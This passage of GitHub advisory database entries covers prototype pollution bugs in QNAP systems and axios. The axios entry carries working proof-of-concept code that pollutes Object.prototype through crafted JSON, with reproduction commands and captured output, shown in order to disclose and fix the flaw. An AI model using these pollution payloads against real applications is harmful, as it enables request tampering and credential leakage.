"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in jquery-deparam"
}
GHSA-XH38-HRRG-8CJV
Vulnerability from github – Published: 2024-01-05 18:30 – Updated: 2024-01-05 18:30A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network.
We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QuTS hero h5.1.3.2578 build 20231110 and later
{
"affected": [],
"aliases": [
"CVE-2023-39296"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-05T17:15:09Z",
"severity": "HIGH"
},
"details": "A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.3.2578 build 20231110 and later\nQuTS hero h5.1.3.2578 build 20231110 and later\n",
"id": "GHSA-xh38-hrrg-8cjv",
"modified": "2024-01-05T18:30:25Z",
"published": "2024-01-05T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39296"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-23-64"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XJ6Q-8X83-JV6G
Vulnerability from github – Published: 2026-07-20 17:51 – Updated: 2026-07-20 17:51Summary
Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.
This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.
Impact
An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.
The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.
This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.
Affected Functionality
Affected functionality:
- Node HTTP adapter Basic auth handling in
lib/adapters/http.js. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in
lib/helpers/resolveConfig.js. - Requests where
config.authis an own object butusernameand/orpasswordare absent own properties.
Unaffected or not accepted as core impact:
- Requests with no own
authobject aftermergeConfig(). - Requests with own
auth.usernameandauth.passwordvalues. - Normal axios request flow for inherited top-level
params/paramsSerializerafter the null-prototypemergeConfig()hardening. - Attacker-controlled
paramsSerializerfunctions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details
mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.
In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.
The same pattern exists in lib/helpers/resolveConfig.js:
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.
Proof of Concept of Attack
Safe local PoC against published axios@1.16.1:
const http = require('node:http');
const axios = require('axios');
Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';
const server = http.createServer((req, res) => {
console.log({
url: req.url,
authorization: req.headers.authorization || null
});
res.end('{}');
server.close(() => {
delete Object.prototype.username;
delete Object.prototype.password;
});
});
server.listen(0, '127.0.0.1', async () => {
await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
auth: {}
});
});
Expected output:
{
"url": "/api",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
The base64 value decodes to victim-user:victim-password-leaked.
Workarounds
Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.
Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.
Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.
Original Report ### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic ` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):const configAuth = own('auth'); // ← top-level guard OK
if (configAuth) {
const username = configAuth.username || ''; // ← reads .username on the inherited chain
const password = configAuth.password || ''; // ← reads .password on the inherited chain
auth = username + ':' + password;
}
`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`
key. But once `configAuth` is the empty object the caller passed
(`auth: {}`), `configAuth.username` walks the prototype chain and
picks up `Object.prototype.username`.
Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324):
const authUsername =
authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;
This is the exact pattern needed at lines 739–740 too.
**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):
const auth = own('auth'); // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
// ^ .username and .password read directly on `auth`, no hasOwnProp guard
Same shape — top-level guarded, sub-fields walk prototype.
**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):
newConfig.url = buildURL(
buildFullPath(baseURL, url, allowAbsoluteUrls),
config.params, // ← direct read, not through own()
config.paramsSerializer // ← direct read, not through own()
);
This third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.
### PoC
This PoC contains zero direct `Object.prototype.x = y` writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,
still walks `constructor.prototype`). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via `__proto__` and is more common in real codebases than any named
utility.
#!/usr/bin/env node
'use strict';
const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');
// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
for (const k of PROTO_KEYS) {
try { delete Object.prototype[k]; } catch (_) {}
}
}
scrub();
// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
"constructor": {
"prototype": {
"username": "victim-user",
"password": "victim-password-leaked",
"params": {"leak": "ATTACKER_QUERY_TOKEN"}
}
}
}`);
// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
// After this line:
// Object.prototype.username === "victim-user"
// Object.prototype.password === "victim-password-leaked"
// Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" }
// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
console.log('=== captured outbound request ===');
console.log(JSON.stringify({
method: req.method,
url: req.url,
authorization: req.headers.authorization || null,
}, null, 2));
res.end('{}');
server.close();
scrub();
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// 4) Realistic application wrapper: optional per-call overrides.
// `auth: opts.auth || {}` is the common pattern — empty own object,
// but inherited values walk the prototype chain.
function makeRequest(targetUrl, opts = {}) {
return axios.get(targetUrl, {
timeout: 5000,
auth: opts.auth || {},
params: opts.params || {},
});
}
makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
console.error('axios error:', e.message);
scrub();
process.exit(1);
});
});
Reproduction:
mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs
Captured output (verified against released `1.16.1` AND against
`main` at `34723be`, 2026-05-24):
{
"method": "GET",
"url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to
`victim-user:victim-password-leaked`. The querystring carries
`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via `req.headers`, etc.).
### Impact
- **Credential exfiltration** via Basic auth header on the outbound
request. If the request URL is attacker-influenced too (common in
webhook/oauth-callback patterns), the credentials flow directly to
the attacker. If not, they flow to the legitimate destination but
expose victim credentials in any logs / proxies along the path.
- **Outbound request-shape control** via inherited `params` /
`paramsSerializer`. With `paramsSerializer` polluted to an attacker
function, axios will execute that function with each `params`
invocation — same-process code execution from a pollution primitive.
- **Amplifier framing** is still correct. The application-side
precondition is "deep-merges attacker JSON into a config object
without `__proto__`/`constructor` filtering, then uses the empty-
fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`."
Both halves are very common in real codebases (we tested
`defaults-deep`, hand-rolled merges, and several lodash-family
utilities; many still pollute).
- **CWE-1321** (Improperly Controlled Modification of Object Prototype
Attributes — amplifier sink).
### Proposed fix
Two-line change in `http.js`, matching the proxy-auth pattern PR
#10833 already established:
--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
const configAuth = own('auth');
if (configAuth) {
- const username = configAuth.username || '';
- const password = configAuth.password || '';
+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
auth = username + ':' + password;
}
Same pattern in `resolveConfig.js`:
--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
// HTTP basic authentication
if (auth) {
+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
headers.set(
'Authorization',
'Basic ' +
- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
);
}
The **`params` / `paramsSerializer`** half is already handled by open
PR #10922's `own('params')` / `own('paramsSerializer')` change — that
PR should be rebased / merged.
### Relationship to recent prototype-pollution work
Same vulnerability class as the existing public hardening, just at
sub-field granularity:
- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**
- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**
- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**
- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**
- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**
- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**
This report adds: regular-request `auth.username` / `auth.password`
sub-field reads in both the http adapter (lines 737–740) and
resolveConfig.js (line 68).
### Reporter notes
- Reported as part of a small peer-review bundle of runtime security
findings. The bundle's public tracking entry (without the working
exploit chain) is at
[`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).
- I'm happy to submit the patch as a PR if that helps. Or, if you'd
prefer to fold this into open PR #10922 (whose author is actively
responding to comments), please let me know and I'll coordinate.
- Threat model honesty: this is **amplifier framing** — exploitation
requires a separate prototype-pollution primitive elsewhere in the
host process. That's how the existing GHSA-q8qp-cvcw-x6jj and
PR #10833 were framed too, so the precedent for "in-scope as a
hardening fix" is established.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.2"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T17:51:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios\u2019 runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own(\u0027auth\u0027)`, but then reads subfields directly:\n\n```js\nconst configAuth = own(\u0027auth\u0027);\nif (configAuth) {\n const username = configAuth.username || \u0027\u0027;\n const password = configAuth.password || \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n headers.set(\n \u0027Authorization\u0027,\n \u0027Basic \u0027 +\n btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nObject.prototype.username = \u0027victim-user\u0027;\nObject.prototype.password = \u0027victim-password-leaked\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n console.log({\n url: req.url,\n authorization: req.headers.authorization || null\n });\n\n res.end(\u0027{}\u0027);\n server.close(() =\u003e {\n delete Object.prototype.username;\n delete Object.prototype.password;\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n auth: {}\n });\n});\n```\n\nExpected output:\n\n```json\n{\n \"url\": \"/api\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` \u2014 an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too \u2014 i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737\u2013740** (Node http adapter):\n\n```js\nconst configAuth = own(\u0027auth\u0027); // \u2190 top-level guard OK\nif (configAuth) {\n const username = configAuth.username || \u0027\u0027; // \u2190 reads .username on the inherited chain\n const password = configAuth.password || \u0027\u0027; // \u2190 reads .password on the inherited chain\n auth = username + \u0027:\u0027 + password;\n}\n```\n\n`own(\u0027auth\u0027)` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322\u2013324):\n\n```js\nconst authUsername =\n authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027username\u0027) ? proxyAuth.username : undefined;\nconst authPassword =\n authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027password\u0027) ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739\u2013740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own(\u0027auth\u0027); // \u2190 top-level guard OK\n...\nbtoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n// ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape \u2014 top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58\u201359** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n buildFullPath(baseURL, url, allowAbsoluteUrls),\n config.params, // \u2190 direct read, not through own()\n config.paramsSerializer // \u2190 direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge \u2014\nthe canonical insecure backend pattern \u2014 exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\nconst defaultsDeep = require(\u0027defaults-deep\u0027);\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = [\u0027username\u0027, \u0027password\u0027, \u0027params\u0027, \u0027paramsSerializer\u0027];\nfunction scrub() {\n for (const k of PROTO_KEYS) {\n try { delete Object.prototype[k]; } catch (_) {}\n }\n}\nscrub();\n\n// 1) Attacker input \u2014 what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n \"constructor\": {\n \"prototype\": {\n \"username\": \"victim-user\",\n \"password\": \"victim-password-leaked\",\n \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n }\n }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n// After this line:\n// Object.prototype.username === \"victim-user\"\n// Object.prototype.password === \"victim-password-leaked\"\n// Object.prototype.params === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n console.log(\u0027=== captured outbound request ===\u0027);\n console.log(JSON.stringify({\n method: req.method,\n url: req.url,\n authorization: req.headers.authorization || null,\n }, null, 2));\n res.end(\u0027{}\u0027);\n server.close();\n scrub();\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const port = server.address().port;\n\n // 4) Realistic application wrapper: optional per-call overrides.\n // `auth: opts.auth || {}` is the common pattern \u2014 empty own object,\n // but inherited values walk the prototype chain.\n function makeRequest(targetUrl, opts = {}) {\n return axios.get(targetUrl, {\n timeout: 5000,\n auth: opts.auth || {},\n params: opts.params || {},\n });\n }\n\n makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n console.error(\u0027axios error:\u0027, e.message);\n scrub();\n process.exit(1);\n });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n \"method\": \"GET\",\n \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n request. If the request URL is attacker-influenced too (common in\n webhook/oauth-callback patterns), the credentials flow directly to\n the attacker. If not, they flow to the legitimate destination but\n expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n function, axios will execute that function with each `params`\n invocation \u2014 same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n precondition is \"deep-merges attacker JSON into a config object\n without `__proto__`/`constructor` filtering, then uses the empty-\n fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n Both halves are very common in real codebases (we tested\n `defaults-deep`, hand-rolled merges, and several lodash-family\n utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n Attributes \u2014 amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n const configAuth = own(\u0027auth\u0027);\n if (configAuth) {\n- const username = configAuth.username || \u0027\u0027;\n- const password = configAuth.password || \u0027\u0027;\n+ const username = utils.hasOwnProp(configAuth, \u0027username\u0027) ? (configAuth.username || \u0027\u0027) : \u0027\u0027;\n+ const password = utils.hasOwnProp(configAuth, \u0027password\u0027) ? (configAuth.password || \u0027\u0027) : \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n // HTTP basic authentication\n if (auth) {\n+ const authUsername = utils.hasOwnProp(auth, \u0027username\u0027) ? (auth.username || \u0027\u0027) : \u0027\u0027;\n+ const authPassword = utils.hasOwnProp(auth, \u0027password\u0027) ? auth.password : \u0027\u0027;\n headers.set(\n \u0027Authorization\u0027,\n \u0027Basic \u0027 +\n- btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n+ btoa(authUsername + \u0027:\u0027 + (authPassword ? encodeUTF8(authPassword) : \u0027\u0027))\n );\n }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change \u2014 that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) \u2014 `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) \u2014 `mergeDirectKeys` `in` \u2192 `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) \u2014 proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) \u2014 `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) \u2014 `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) \u2014 `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737\u2013740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n findings. The bundle\u0027s public tracking entry (without the working\n exploit chain) is at\n [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I\u0027m happy to submit the patch as a PR if that helps. Or, if you\u0027d\n prefer to fold this into open PR #10922 (whose author is actively\n responding to comments), please let me know and I\u0027ll coordinate.\n- Threat model honesty: this is **amplifier framing** \u2014 exploitation\n requires a separate prototype-pollution primitive elsewhere in the\n host process. That\u0027s how the existing GHSA-q8qp-cvcw-x6jj and\n PR #10833 were framed too, so the precedent for \"in-scope as a\n hardening fix\" is established.\n\u003c/details\u003e",
"id": "GHSA-xj6q-8x83-jv6g",
"modified": "2026-07-20T17:51:17Z",
"published": "2026-07-20T17:51:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
